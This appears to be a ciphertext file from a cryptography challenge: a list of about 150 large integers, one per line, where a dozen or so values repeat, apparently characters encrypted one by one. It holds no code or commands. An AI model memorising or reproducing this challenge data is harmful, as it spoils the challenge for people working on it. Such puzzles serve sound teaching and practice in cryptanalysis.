65645897586164484901084724785868138215545914354940822394405500808403468724441166236806972579892634007617499335208431430950189476291370052338014365086681345565540227225026983516086855968280037759361688810908512159517949185685951322885323134278372517254106593980281408943359660796097314972401388661496052678170
98072193152871319688837688940847690007375497449437127180342057154848195391486477028582072505559234392497094299334775763771056865590909378050094703548344101458162032536500439758037446538333860663336228719703447923766109850133438244955538517197400462445959770460870119876325281725458020065942886331789259035983
89833182957990460554958936422698418439928227266029601028665002136268298013382992483687058262490425052171050802666396404260622968410050788864046121930627826426607645552614605173395336254635950515816665194669152715989802130892055091582637135487785378619311030636138298874397355025350891060593718134018319014543
78574888085059728932016020355051254845057542027798831380644526738207017271720961248553305239460318463410612543366391692703942160351564248680419156747819835151192908776085072958707819994156968550260014725465711644134609796499853562476328005416616399377266814386729970069757327077942632748554937325751155612617
100611322685874878848754240661495615711646777488831419813503119374511960510535820058228889027763435983724546057947590061551257712702713723012996004563390427396300527089392464643553160988799916035179912848793338088594261441002497827716739663270148287782372738753596682707263125663143832871706325505355756447001
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
110677020630149274964222916998595829586193824069287520865371017953346184773216488105655358000845529351486948155980877850518774196352113422039136665946726400920026750420146146261266602506979916234889564211609897212151379598070261611636080505933141703724213783681697915813821150968616422671132587656451033246467
38842157875943079188185445304579668744732765285296229312069079189604026634975232902567591019360806090163616843896933954511057774277012101804314476185295849622146563538202579085309181093715566609433861522817268155952508279805952520521294438960392472508617643577732121234835368685304804224698356904865781567168
24967305915147448501714803815131082697651323959012327163948924800842151459753928809004140779720650895584635121993194057082316592998717502814441305726429929671294365807644588277045222305190426743608262305501915288920161172031572236684644966814452620598419243254600230442500564630612310314865158125155993279156
38842157875943079188185445304579668744732765285296229312069079189604026634975232902567591019360806090163616843896933954511057774277012101804314476185295849622146563538202579085309181093715566609433861522817268155952508279805952520521294438960392472508617643577732121234835368685304804224698356904865781567168
62104638576773623684551385680049598287592117406425744400809134407903643583666708272482545534671166621770408289170731318094044339124299554089107205698606709373381797598251478288011978691275803110552617887693282137095804434097831282225624540169317691447722170457236271134204498185177779451706984833572912654051
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
89833182957990460554958936422698418439928227266029601028665002136268298013382992483687058262490425052171050802666396404260622968410050788864046121930627826426607645552614605173395336254635950515816665194669152715989802130892055091582637135487785378619311030636138298874397355025350891060593718134018319014543
65645897586164484901084724785868138215545914354940822394405500808403468724441166236806972579892634007617499335208431430950189476291370052338014365086681345565540227225026983516086855968280037759361688810908512159517949185685951322885323134278372517254106593980281408943359660796097314972401388661496052678170
18928824824404618546081435030209083267268489418743716085092360940821456571058073610038003667728852565249050914551688677362605878103840934651434075140132384308995728357238735685855259984296884208528911376198941346901774040385519327046561334322491884513919658871624028711808624019905185426957108386637998884956
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
84678702049964035127896877368302320193886098455768332363432424605514741777549598765352488664406159741902969536313365615807705807342321003104495852655512915130050188765284239466210113597760303699022312173073258712597100702393539916597625283858275741383340518666315900387591781569580279341955960362957888697189
100611322685874878848754240661495615711646777488831419813503119374511960510535820058228889027763435983724546057947590061551257712702713723012996004563390427396300527089392464643553160988799916035179912848793338088594261441002497827716739663270148287782372738753596682707263125663143832871706325505355756447001
137750765227550514225702921526079247864945181950754004191279860398297269164774487403668182634889775633528548211091913121574076937323802336081931630718919853334596352699339183080539107020795995910595341832851681150580329849056595009984216610828839413881738202804763231117980603408698112207358492939114134102890
18928824824404618546081435030209083267268489418743716085092360940821456571058073610038003667728852565249050914551688677362605878103840934651434075140132384308995728357238735685855259984296884208528911376198941346901774040385519327046561334322491884513919658871624028711808624019905185426957108386637998884956
62801529337830164688667725322013807337730829995283145726245637501724225331664768835038305986060768494873211708381922699272515864262971627208174943851264077906254570161389679470403844058900863238814911592475705518546485028952389529393704650759569972808052161826493176719258661840108823546364212066123810996235
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
91680348915962244635467280702269071962770849234751203908734508507942563330754312317275898786442433413770569887551943099443991331261278291587321076702444424684302121767202425952384762689618469717236791027569005894172183324909306235069613007499705735183698684035052271555030322776650321910241652531845417895375
38842157875943079188185445304579668744732765285296229312069079189604026634975232902567591019360806090163616843896933954511057774277012101804314476185295849622146563538202579085309181093715566609433861522817268155952508279805952520521294438960392472508617643577732121234835368685304804224698356904865781567168
127834769478164514448657989368832148725913788717323254960364403479177512658943589475906085232130280919139734603553084820947341340394949631963818705830501656689270396348803462168537526657806923603818160774689566455932951541886098644908675874178795070128486781922916272919790827233534695358511424166456147425848
89833182957990460554958936422698418439928227266029601028665002136268298013382992483687058262490425052171050802666396404260622968410050788864046121930627826426607645552614605173395336254635950515816665194669152715989802130892055091582637135487785378619311030636138298874397355025350891060593718134018319014543
137750765227550514225702921526079247864945181950754004191279860398297269164774487403668182634889775633528548211091913121574076937323802336081931630718919853334596352699339183080539107020795995910595341832851681150580329849056595009984216610828839413881738202804763231117980603408698112207358492939114134102890
18928824824404618546081435030209083267268489418743716085092360940821456571058073610038003667728852565249050914551688677362605878103840934651434075140132384308995728357238735685855259984296884208528911376198941346901774040385519327046561334322491884513919658871624028711808624019905185426957108386637998884956
137750765227550514225702921526079247864945181950754004191279860398297269164774487403668182634889775633528548211091913121574076937323802336081931630718919853334596352699339183080539107020795995910595341832851681150580329849056595009984216610828839413881738202804763231117980603408698112207358492939114134102890
18928824824404618546081435030209083267268489418743716085092360940821456571058073610038003667728852565249050914551688677362605878103840934651434075140132384308995728357238735685855259984296884208528911376198941346901774040385519327046561334322491884513919658871624028711808624019905185426957108386637998884956
78574888085059728932016020355051254845057542027798831380644526738207017271720961248553305239460318463410612543366391692703942160351564248680419156747819835151192908776085072958707819994156968550260014725465711644134609796499853562476328005416616399377266814386729970069757327077942632748554937325751155612617
62104638576773623684551385680049598287592117406425744400809134407903643583666708272482545534671166621770408289170731318094044339124299554089107205698606709373381797598251478288011978691275803110552617887693282137095804434097831282225624540169317691447722170457236271134204498185177779451706984833572912654051
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
89833182957990460554958936422698418439928227266029601028665002136268298013382992483687058262490425052171050802666396404260622968410050788864046121930627826426607645552614605173395336254635950515816665194669152715989802130892055091582637135487785378619311030636138298874397355025350891060593718134018319014543
84678702049964035127896877368302320193886098455768332363432424605514741777549598765352488664406159741902969536313365615807705807342321003104495852655512915130050188765284239466210113597760303699022312173073258712597100702393539916597625283858275741383340518666315900387591781569580279341955960362957888697189
110677020630149274964222916998595829586193824069287520865371017953346184773216488105655358000845529351486948155980877850518774196352113422039136665946726400920026750420146146261266602506979916234889564211609897212151379598070261611636080505933141703724213783681697915813821150968616422671132587656451033246467
65645897586164484901084724785868138215545914354940822394405500808403468724441166236806972579892634007617499335208431430950189476291370052338014365086681345565540227225026983516086855968280037759361688810908512159517949185685951322885323134278372517254106593980281408943359660796097314972401388661496052678170
98072193152871319688837688940847690007375497449437127180342057154848195391486477028582072505559234392497094299334775763771056865590909378050094703548344101458162032536500439758037446538333860663336228719703447923766109850133438244955538517197400462445959770460870119876325281725458020065942886331789259035983
89833182957990460554958936422698418439928227266029601028665002136268298013382992483687058262490425052171050802666396404260622968410050788864046121930627826426607645552614605173395336254635950515816665194669152715989802130892055091582637135487785378619311030636138298874397355025350891060593718134018319014543
91680348915962244635467280702269071962770849234751203908734508507942563330754312317275898786442433413770569887551943099443991331261278291587321076702444424684302121767202425952384762689618469717236791027569005894172183324909306235069613007499705735183698684035052271555030322776650321910241652531845417895375
65645897586164484901084724785868138215545914354940822394405500808403468724441166236806972579892634007617499335208431430950189476291370052338014365086681345565540227225026983516086855968280037759361688810908512159517949185685951322885323134278372517254106593980281408943359660796097314972401388661496052678170
127834769478164514448657989368832148725913788717323254960364403479177512658943589475906085232130280919139734603553084820947341340394949631963818705830501656689270396348803462168537526657806923603818160774689566455932951541886098644908675874178795070128486781922916272919790827233534695358511424166456147425848
32314742799901071101384886133428561762878684756755055439399732610803575045421300506914675729938880370731413301277310516935885693351870795392533527241001962621829217474952231917355098394642342615154976969537535852030993913375029932439321850592751196788883059868908730597859174877779449712299285641554658928995
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
137750765227550514225702921526079247864945181950754004191279860398297269164774487403668182634889775633528548211091913121574076937323802336081931630718919853334596352699339183080539107020795995910595341832851681150580329849056595009984216610828839413881738202804763231117980603408698112207358492939114134102890
24967305915147448501714803815131082697651323959012327163948924800842151459753928809004140779720650895584635121993194057082316592998717502814441305726429929671294365807644588277045222305190426743608262305501915288920161172031572236684644966814452620598419243254600230442500564630612310314865158125155993279156
65645897586164484901084724785868138215545914354940822394405500808403468724441166236806972579892634007617499335208431430950189476291370052338014365086681345565540227225026983516086855968280037759361688810908512159517949185685951322885323134278372517254106593980281408943359660796097314972401388661496052678170
18928824824404618546081435030209083267268489418743716085092360940821456571058073610038003667728852565249050914551688677362605878103840934651434075140132384308995728357238735685855259984296884208528911376198941346901774040385519327046561334322491884513919658871624028711808624019905185426957108386637998884956
62104638576773623684551385680049598287592117406425744400809134407903643583666708272482545534671166621770408289170731318094044339124299554089107205698606709373381797598251478288011978691275803110552617887693282137095804434097831282225624540169317691447722170457236271134204498185177779451706984833572912654051
62801529337830164688667725322013807337730829995283145726245637501724225331664768835038305986060768494873211708381922699272515864262971627208174943851264077906254570161389679470403844058900863238814911592475705518546485028952389529393704650759569972808052161826493176719258661840108823546364212066123810996235
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
89833182957990460554958936422698418439928227266029601028665002136268298013382992483687058262490425052171050802666396404260622968410050788864046121930627826426607645552614605173395336254635950515816665194669152715989802130892055091582637135487785378619311030636138298874397355025350891060593718134018319014543
137750765227550514225702921526079247864945181950754004191279860398297269164774487403668182634889775633528548211091913121574076937323802336081931630718919853334596352699339183080539107020795995910595341832851681150580329849056595009984216610828839413881738202804763231117980603408698112207358492939114134102890
110677020630149274964222916998595829586193824069287520865371017953346184773216488105655358000845529351486948155980877850518774196352113422039136665946726400920026750420146146261266602506979916234889564211609897212151379598070261611636080505933141703724213783681697915813821150968616422671132587656451033246467
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
110677020630149274964222916998595829586193824069287520865371017953346184773216488105655358000845529351486948155980877850518774196352113422039136665946726400920026750420146146261266602506979916234889564211609897212151379598070261611636080505933141703724213783681697915813821150968616422671132587656451033246467
65645897586164484901084724785868138215545914354940822394405500808403468724441166236806972579892634007617499335208431430950189476291370052338014365086681345565540227225026983516086855968280037759361688810908512159517949185685951322885323134278372517254106593980281408943359660796097314972401388661496052678170
84678702049964035127896877368302320193886098455768332363432424605514741777549598765352488664406159741902969536313365615807705807342321003104495852655512915130050188765284239466210113597760303699022312173073258712597100702393539916597625283858275741383340518666315900387591781569580279341955960362957888697189
100611322685874878848754240661495615711646777488831419813503119374511960510535820058228889027763435983724546057947590061551257712702713723012996004563390427396300527089392464643553160988799916035179912848793338088594261441002497827716739663270148287782372738753596682707263125663143832871706325505355756447001
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
127834769478164514448657989368832148725913788717323254960364403479177512658943589475906085232130280919139734603553084820947341340394949631963818705830501656689270396348803462168537526657806923603818160774689566455932951541886098644908675874178795070128486781922916272919790827233534695358511424166456147425848
38842157875943079188185445304579668744732765285296229312069079189604026634975232902567591019360806090163616843896933954511057774277012101804314476185295849622146563538202579085309181093715566609433861522817268155952508279805952520521294438960392472508617643577732121234835368685304804224698356904865781567168
127834769478164514448657989368832148725913788717323254960364403479177512658943589475906085232130280919139734603553084820947341340394949631963818705830501656689270396348803462168537526657806923603818160774689566455932951541886098644908675874178795070128486781922916272919790827233534695358511424166456147425848
78574888085059728932016020355051254845057542027798831380644526738207017271720961248553305239460318463410612543366391692703942160351564248680419156747819835151192908776085072958707819994156968550260014725465711644134609796499853562476328005416616399377266814386729970069757327077942632748554937325751155612617
100611322685874878848754240661495615711646777488831419813503119374511960510535820058228889027763435983724546057947590061551257712702713723012996004563390427396300527089392464643553160988799916035179912848793338088594261441002497827716739663270148287782372738753596682707263125663143832871706325505355756447001
110846033891671427624857387537920448516392773897412999620646679750794626560907602986926959004781159264720122262321222811739313451983025907615882694007854707426003258465438618709429793385929912943788331348275371930738505303613153300384889406550278867097351842118941408769499935966795054196563209575850432039213
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
137750765227550514225702921526079247864945181950754004191279860398297269164774487403668182634889775633528548211091913121574076937323802336081931630718919853334596352699339183080539107020795995910595341832851681150580329849056595009984216610828839413881738202804763231117980603408698112207358492939114134102890
65645897586164484901084724785868138215545914354940822394405500808403468724441166236806972579892634007617499335208431430950189476291370052338014365086681345565540227225026983516086855968280037759361688810908512159517949185685951322885323134278372517254106593980281408943359660796097314972401388661496052678170
62104638576773623684551385680049598287592117406425744400809134407903643583666708272482545534671166621770408289170731318094044339124299554089107205698606709373381797598251478288011978691275803110552617887693282137095804434097831282225624540169317691447722170457236271134204498185177779451706984833572912654051
100611322685874878848754240661495615711646777488831419813503119374511960510535820058228889027763435983724546057947590061551257712702713723012996004563390427396300527089392464643553160988799916035179912848793338088594261441002497827716739663270148287782372738753596682707263125663143832871706325505355756447001
38842157875943079188185445304579668744732765285296229312069079189604026634975232902567591019360806090163616843896933954511057774277012101804314476185295849622146563538202579085309181093715566609433861522817268155952508279805952520521294438960392472508617643577732121234835368685304804224698356904865781567168
110677020630149274964222916998595829586193824069287520865371017953346184773216488105655358000845529351486948155980877850518774196352113422039136665946726400920026750420146146261266602506979916234889564211609897212151379598070261611636080505933141703724213783681697915813821150968616422671132587656451033246467
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
18928824824404618546081435030209083267268489418743716085092360940821456571058073610038003667728852565249050914551688677362605878103840934651434075140132384308995728357238735685855259984296884208528911376198941346901774040385519327046561334322491884513919658871624028711808624019905185426957108386637998884956
137750765227550514225702921526079247864945181950754004191279860398297269164774487403668182634889775633528548211091913121574076937323802336081931630718919853334596352699339183080539107020795995910595341832851681150580329849056595009984216610828839413881738202804763231117980603408698112207358492939114134102890
100611322685874878848754240661495615711646777488831419813503119374511960510535820058228889027763435983724546057947590061551257712702713723012996004563390427396300527089392464643553160988799916035179912848793338088594261441002497827716739663270148287782372738753596682707263125663143832871706325505355756447001
98072193152871319688837688940847690007375497449437127180342057154848195391486477028582072505559234392497094299334775763771056865590909378050094703548344101458162032536500439758037446538333860663336228719703447923766109850133438244955538517197400462445959770460870119876325281725458020065942886331789259035983
38842157875943079188185445304579668744732765285296229312069079189604026634975232902567591019360806090163616843896933954511057774277012101804314476185295849622146563538202579085309181093715566609433861522817268155952508279805952520521294438960392472508617643577732121234835368685304804224698356904865781567168
62104638576773623684551385680049598287592117406425744400809134407903643583666708272482545534671166621770408289170731318094044339124299554089107205698606709373381797598251478288011978691275803110552617887693282137095804434097831282225624540169317691447722170457236271134204498185177779451706984833572912654051
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
65645897586164484901084724785868138215545914354940822394405500808403468724441166236806972579892634007617499335208431430950189476291370052338014365086681345565540227225026983516086855968280037759361688810908512159517949185685951322885323134278372517254106593980281408943359660796097314972401388661496052678170
127834769478164514448657989368832148725913788717323254960364403479177512658943589475906085232130280919139734603553084820947341340394949631963818705830501656689270396348803462168537526657806923603818160774689566455932951541886098644908675874178795070128486781922916272919790827233534695358511424166456147425848
133821342606580454431636853618778967721010373114197662891508991682540483266007458846375983314130300445587911282877335750480805649394086463664645319161836413638247650471886879354773317635394640518080390290425806187120049212041979879176975293329368437530104798819774108474920635359521954718055320835228865103287
65645897586164484901084724785868138215545914354940822394405500808403468724441166236806972579892634007617499335208431430950189476291370052338014365086681345565540227225026983516086855968280037759361688810908512159517949185685951322885323134278372517254106593980281408943359660796097314972401388661496052678170
110677020630149274964222916998595829586193824069287520865371017953346184773216488105655358000845529351486948155980877850518774196352113422039136665946726400920026750420146146261266602506979916234889564211609897212151379598070261611636080505933141703724213783681697915813821150968616422671132587656451033246467
78574888085059728932016020355051254845057542027798831380644526738207017271720961248553305239460318463410612543366391692703942160351564248680419156747819835151192908776085072958707819994156968550260014725465711644134609796499853562476328005416616399377266814386729970069757327077942632748554937325751155612617
127834769478164514448657989368832148725913788717323254960364403479177512658943589475906085232130280919139734603553084820947341340394949631963818705830501656689270396348803462168537526657806923603818160774689566455932951541886098644908675874178795070128486781922916272919790827233534695358511424166456147425848
18928824824404618546081435030209083267268489418743716085092360940821456571058073610038003667728852565249050914551688677362605878103840934651434075140132384308995728357238735685855259984296884208528911376198941346901774040385519327046561334322491884513919658871624028711808624019905185426957108386637998884956
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
78574888085059728932016020355051254845057542027798831380644526738207017271720961248553305239460318463410612543366391692703942160351564248680419156747819835151192908776085072958707819994156968550260014725465711644134609796499853562476328005416616399377266814386729970069757327077942632748554937325751155612617
18928824824404618546081435030209083267268489418743716085092360940821456571058073610038003667728852565249050914551688677362605878103840934651434075140132384308995728357238735685855259984296884208528911376198941346901774040385519327046561334322491884513919658871624028711808624019905185426957108386637998884956
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
24967305915147448501714803815131082697651323959012327163948924800842151459753928809004140779720650895584635121993194057082316592998717502814441305726429929671294365807644588277045222305190426743608262305501915288920161172031572236684644966814452620598419243254600230442500564630612310314865158125155993279156
84678702049964035127896877368302320193886098455768332363432424605514741777549598765352488664406159741902969536313365615807705807342321003104495852655512915130050188765284239466210113597760303699022312173073258712597100702393539916597625283858275741383340518666315900387591781569580279341955960362957888697189
4182669348045269791254444104622750379376825748164589688688917405611067685879473543635386042921454535628915404264820793209948561919050475943517314854567616375314489289931988461469983115038328954579926992023989065641892802210559142402542318857874412395884224371766870024021473348650171148389070499526981719281
38842157875943079188185445304579668744732765285296229312069079189604026634975232902567591019360806090163616843896933954511057774277012101804314476185295849622146563538202579085309181093715566609433861522817268155952508279805952520521294438960392472508617643577732121234835368685304804224698356904865781567168
62104638576773623684551385680049598287592117406425744400809134407903643583666708272482545534671166621770408289170731318094044339124299554089107205698606709373381797598251478288011978691275803110552617887693282137095804434097831282225624540169317691447722170457236271134204498185177779451706984833572912654051
137750765227550514225702921526079247864945181950754004191279860398297269164774487403668182634889775633528548211091913121574076937323802336081931630718919853334596352699339183080539107020795995910595341832851681150580329849056595009984216610828839413881738202804763231117980603408698112207358492939114134102890
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
137750765227550514225702921526079247864945181950754004191279860398297269164774487403668182634889775633528548211091913121574076937323802336081931630718919853334596352699339183080539107020795995910595341832851681150580329849056595009984216610828839413881738202804763231117980603408698112207358492939114134102890
18928824824404618546081435030209083267268489418743716085092360940821456571058073610038003667728852565249050914551688677362605878103840934651434075140132384308995728357238735685855259984296884208528911376198941346901774040385519327046561334322491884513919658871624028711808624019905185426957108386637998884956
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
110677020630149274964222916998595829586193824069287520865371017953346184773216488105655358000845529351486948155980877850518774196352113422039136665946726400920026750420146146261266602506979916234889564211609897212151379598070261611636080505933141703724213783681697915813821150968616422671132587656451033246467
38842157875943079188185445304579668744732765285296229312069079189604026634975232902567591019360806090163616843896933954511057774277012101804314476185295849622146563538202579085309181093715566609433861522817268155952508279805952520521294438960392472508617643577732121234835368685304804224698356904865781567168
24967305915147448501714803815131082697651323959012327163948924800842151459753928809004140779720650895584635121993194057082316592998717502814441305726429929671294365807644588277045222305190426743608262305501915288920161172031572236684644966814452620598419243254600230442500564630612310314865158125155993279156
38842157875943079188185445304579668744732765285296229312069079189604026634975232902567591019360806090163616843896933954511057774277012101804314476185295849622146563538202579085309181093715566609433861522817268155952508279805952520521294438960392472508617643577732121234835368685304804224698356904865781567168
62104638576773623684551385680049598287592117406425744400809134407903643583666708272482545534671166621770408289170731318094044339124299554089107205698606709373381797598251478288011978691275803110552617887693282137095804434097831282225624540169317691447722170457236271134204498185177779451706984833572912654051
137750765227550514225702921526079247864945181950754004191279860398297269164774487403668182634889775633528548211091913121574076937323802336081931630718919853334596352699339183080539107020795995910595341832851681150580329849056595009984216610828839413881738202804763231117980603408698112207358492939114134102890
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
100611322685874878848754240661495615711646777488831419813503119374511960510535820058228889027763435983724546057947590061551257712702713723012996004563390427396300527089392464643553160988799916035179912848793338088594261441002497827716739663270148287782372738753596682707263125663143832871706325505355756447001
84678702049964035127896877368302320193886098455768332363432424605514741777549598765352488664406159741902969536313365615807705807342321003104495852655512915130050188765284239466210113597760303699022312173073258712597100702393539916597625283858275741383340518666315900387591781569580279341955960362957888697189
32314742799901071101384886133428561762878684756755055439399732610803575045421300506914675729938880370731413301277310516935885693351870795392533527241001962621829217474952231917355098394642342615154976969537535852030993913375029932439321850592751196788883059868908730597859174877779449712299285641554658928995
127834769478164514448657989368832148725913788717323254960364403479177512658943589475906085232130280919139734603553084820947341340394949631963818705830501656689270396348803462168537526657806923603818160774689566455932951541886098644908675874178795070128486781922916272919790827233534695358511424166456147425848
84678702049964035127896877368302320193886098455768332363432424605514741777549598765352488664406159741902969536313365615807705807342321003104495852655512915130050188765284239466210113597760303699022312173073258712597100702393539916597625283858275741383340518666315900387591781569580279341955960362957888697189
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
84678702049964035127896877368302320193886098455768332363432424605514741777549598765352488664406159741902969536313365615807705807342321003104495852655512915130050188765284239466210113597760303699022312173073258712597100702393539916597625283858275741383340518666315900387591781569580279341955960362957888697189
24967305915147448501714803815131082697651323959012327163948924800842151459753928809004140779720650895584635121993194057082316592998717502814441305726429929671294365807644588277045222305190426743608262305501915288920161172031572236684644966814452620598419243254600230442500564630612310314865158125155993279156
65645897586164484901084724785868138215545914354940822394405500808403468724441166236806972579892634007617499335208431430950189476291370052338014365086681345565540227225026983516086855968280037759361688810908512159517949185685951322885323134278372517254106593980281408943359660796097314972401388661496052678170
63954934982169968493375436708243549943337776790067035042049945803263896137705048991307667148505224485994939878827810471672893639994173854628637995888833872725682539891708902345134444873401804816245621659122305520079093134983775134753014016200774920370979508498502550221686538836022420428948530476432469293840
78574888085059728932016020355051254845057542027798831380644526738207017271720961248553305239460318463410612543366391692703942160351564248680419156747819835151192908776085072958707819994156968550260014725465711644134609796499853562476328005416616399377266814386729970069757327077942632748554937325751155612617
110846033891671427624857387537920448516392773897412999620646679750794626560907602986926959004781159264720122262321222811739313451983025907615882694007854707426003258465438618709429793385929912943788331348275371930738505303613153300384889406550278867097351842118941408769499935966795054196563209575850432039213
84678702049964035127896877368302320193886098455768332363432424605514741777549598765352488664406159741902969536313365615807705807342321003104495852655512915130050188765284239466210113597760303699022312173073258712597100702393539916597625283858275741383340518666315900387591781569580279341955960362957888697189
100611322685874878848754240661495615711646777488831419813503119374511960510535820058228889027763435983724546057947590061551257712702713723012996004563390427396300527089392464643553160988799916035179912848793338088594261441002497827716739663270148287782372738753596682707263125663143832871706325505355756447001
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
137750765227550514225702921526079247864945181950754004191279860398297269164774487403668182634889775633528548211091913121574076937323802336081931630718919853334596352699339183080539107020795995910595341832851681150580329849056595009984216610828839413881738202804763231117980603408698112207358492939114134102890
62104638576773623684551385680049598287592117406425744400809134407903643583666708272482545534671166621770408289170731318094044339124299554089107205698606709373381797598251478288011978691275803110552617887693282137095804434097831282225624540169317691447722170457236271134204498185177779451706984833572912654051
84678702049964035127896877368302320193886098455768332363432424605514741777549598765352488664406159741902969536313365615807705807342321003104495852655512915130050188765284239466210113597760303699022312173073258712597100702393539916597625283858275741383340518666315900387591781569580279341955960362957888697189
18928824824404618546081435030209083267268489418743716085092360940821456571058073610038003667728852565249050914551688677362605878103840934651434075140132384308995728357238735685855259984296884208528911376198941346901774040385519327046561334322491884513919658871624028711808624019905185426957108386637998884956
62801529337830164688667725322013807337730829995283145726245637501724225331664768835038305986060768494873211708381922699272515864262971627208174943851264077906254570161389679470403844058900863238814911592475705518546485028952389529393704650759569972808052161826493176719258661840108823546364212066123810996235
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
89833182957990460554958936422698418439928227266029601028665002136268298013382992483687058262490425052171050802666396404260622968410050788864046121930627826426607645552614605173395336254635950515816665194669152715989802130892055091582637135487785378619311030636138298874397355025350891060593718134018319014543
137750765227550514225702921526079247864945181950754004191279860398297269164774487403668182634889775633528548211091913121574076937323802336081931630718919853334596352699339183080539107020795995910595341832851681150580329849056595009984216610828839413881738202804763231117980603408698112207358492939114134102890
110677020630149274964222916998595829586193824069287520865371017953346184773216488105655358000845529351486948155980877850518774196352113422039136665946726400920026750420146146261266602506979916234889564211609897212151379598070261611636080505933141703724213783681697915813821150968616422671132587656451033246467
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
110677020630149274964222916998595829586193824069287520865371017953346184773216488105655358000845529351486948155980877850518774196352113422039136665946726400920026750420146146261266602506979916234889564211609897212151379598070261611636080505933141703724213783681697915813821150968616422671132587656451033246467
65645897586164484901084724785868138215545914354940822394405500808403468724441166236806972579892634007617499335208431430950189476291370052338014365086681345565540227225026983516086855968280037759361688810908512159517949185685951322885323134278372517254106593980281408943359660796097314972401388661496052678170
84678702049964035127896877368302320193886098455768332363432424605514741777549598765352488664406159741902969536313365615807705807342321003104495852655512915130050188765284239466210113597760303699022312173073258712597100702393539916597625283858275741383340518666315900387591781569580279341955960362957888697189
100611322685874878848754240661495615711646777488831419813503119374511960510535820058228889027763435983724546057947590061551257712702713723012996004563390427396300527089392464643553160988799916035179912848793338088594261441002497827716739663270148287782372738753596682707263125663143832871706325505355756447001
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
133821342606580454431636853618778967721010373114197662891508991682540483266007458846375983314130300445587911282877335750480805649394086463664645319161836413638247650471886879354773317635394640518080390290425806187120049212041979879176975293329368437530104798819774108474920635359521954718055320835228865103287
38842157875943079188185445304579668744732765285296229312069079189604026634975232902567591019360806090163616843896933954511057774277012101804314476185295849622146563538202579085309181093715566609433861522817268155952508279805952520521294438960392472508617643577732121234835368685304804224698356904865781567168
24967305915147448501714803815131082697651323959012327163948924800842151459753928809004140779720650895584635121993194057082316592998717502814441305726429929671294365807644588277045222305190426743608262305501915288920161172031572236684644966814452620598419243254600230442500564630612310314865158125155993279156
78574888085059728932016020355051254845057542027798831380644526738207017271720961248553305239460318463410612543366391692703942160351564248680419156747819835151192908776085072958707819994156968550260014725465711644134609796499853562476328005416616399377266814386729970069757327077942632748554937325751155612617
